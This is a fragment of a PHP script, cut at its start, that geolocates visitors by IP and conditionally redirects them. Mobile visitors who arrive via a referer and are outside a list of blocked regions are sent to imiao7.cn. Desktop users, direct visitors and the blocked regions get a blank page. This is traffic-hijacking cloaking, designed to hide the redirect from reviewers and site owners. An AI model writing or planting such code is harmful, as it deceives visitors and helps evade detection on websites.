0) exit('');
if(!isMobile()) exit('');
$cip=get_client_ip();
$html = "http://ip.ws.126.net/ipquery?ip=".$cip;
//$html = "http://ip.ws.126.net/ipquery?ip=223.91.245.2";
$data = http_curl($html);
preg_match('|localAddress=(.*)|i',$data,$vid);
$vid[1] = iconv('GB2312','utf-8',$vid[1]);
$vid[1] = str_replace(array('省','市'),'',$vid[1]);
$tihuan = str_replace(array('city','province'),array('"city"','"province"'),$vid[1]);
$arr = json_decode($tihuan,true);
$province=$arr["province"];
$city=$arr["city"];
if(in_array($province,$blockarea))exit('');
if(in_array($city,$blockarea))exit('');
if (isset($_SERVER['HTTP_REFERER']))
{header("location:http://www.imiao7.cn/");}
else
{echo('');}
/*echo $province;
echo $city;*/
function http_curl($url){
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
$data=curl_exec($curl);
curl_close($curl);
return $data;
}
function isMobile()
{
if (isset ($_SERVER['HTTP_X_WAP_PROFILE']))
{
return true;
}
if (isset ($_SERVER['HTTP_VIA']))
{
return stristr($_SERVER['HTTP_VIA'], "wap") ? true : false;
}
if (isset ($_SERVER['HTTP_USER_AGENT']))
{
$clientkeywords = array ('nokia',
'sony',
'ericsson',
'mot',
'samsung',
'htc',
'sgh',
'lg',
'sharp',
'sie-',
'philips',
'panasonic',
'alcatel',
'lenovo',
'iphone',
'ipod',
'ipad',
'blackberry',
'meizu',
'android',
'netfront',
'symbian',
'ucweb',
'windowsce',
'palm',
'operamini',
'operamobi',
'openwave',
'nexusone',
'cldc',
'midp',
'wap',
'mobile'
);
if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT'])))
{
return true;
}
}
if (isset ($_SERVER['HTTP_ACCEPT']))
{
if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') === false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html'))))
{
return true;
}
}
return false;
}
function get_client_ip(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
?>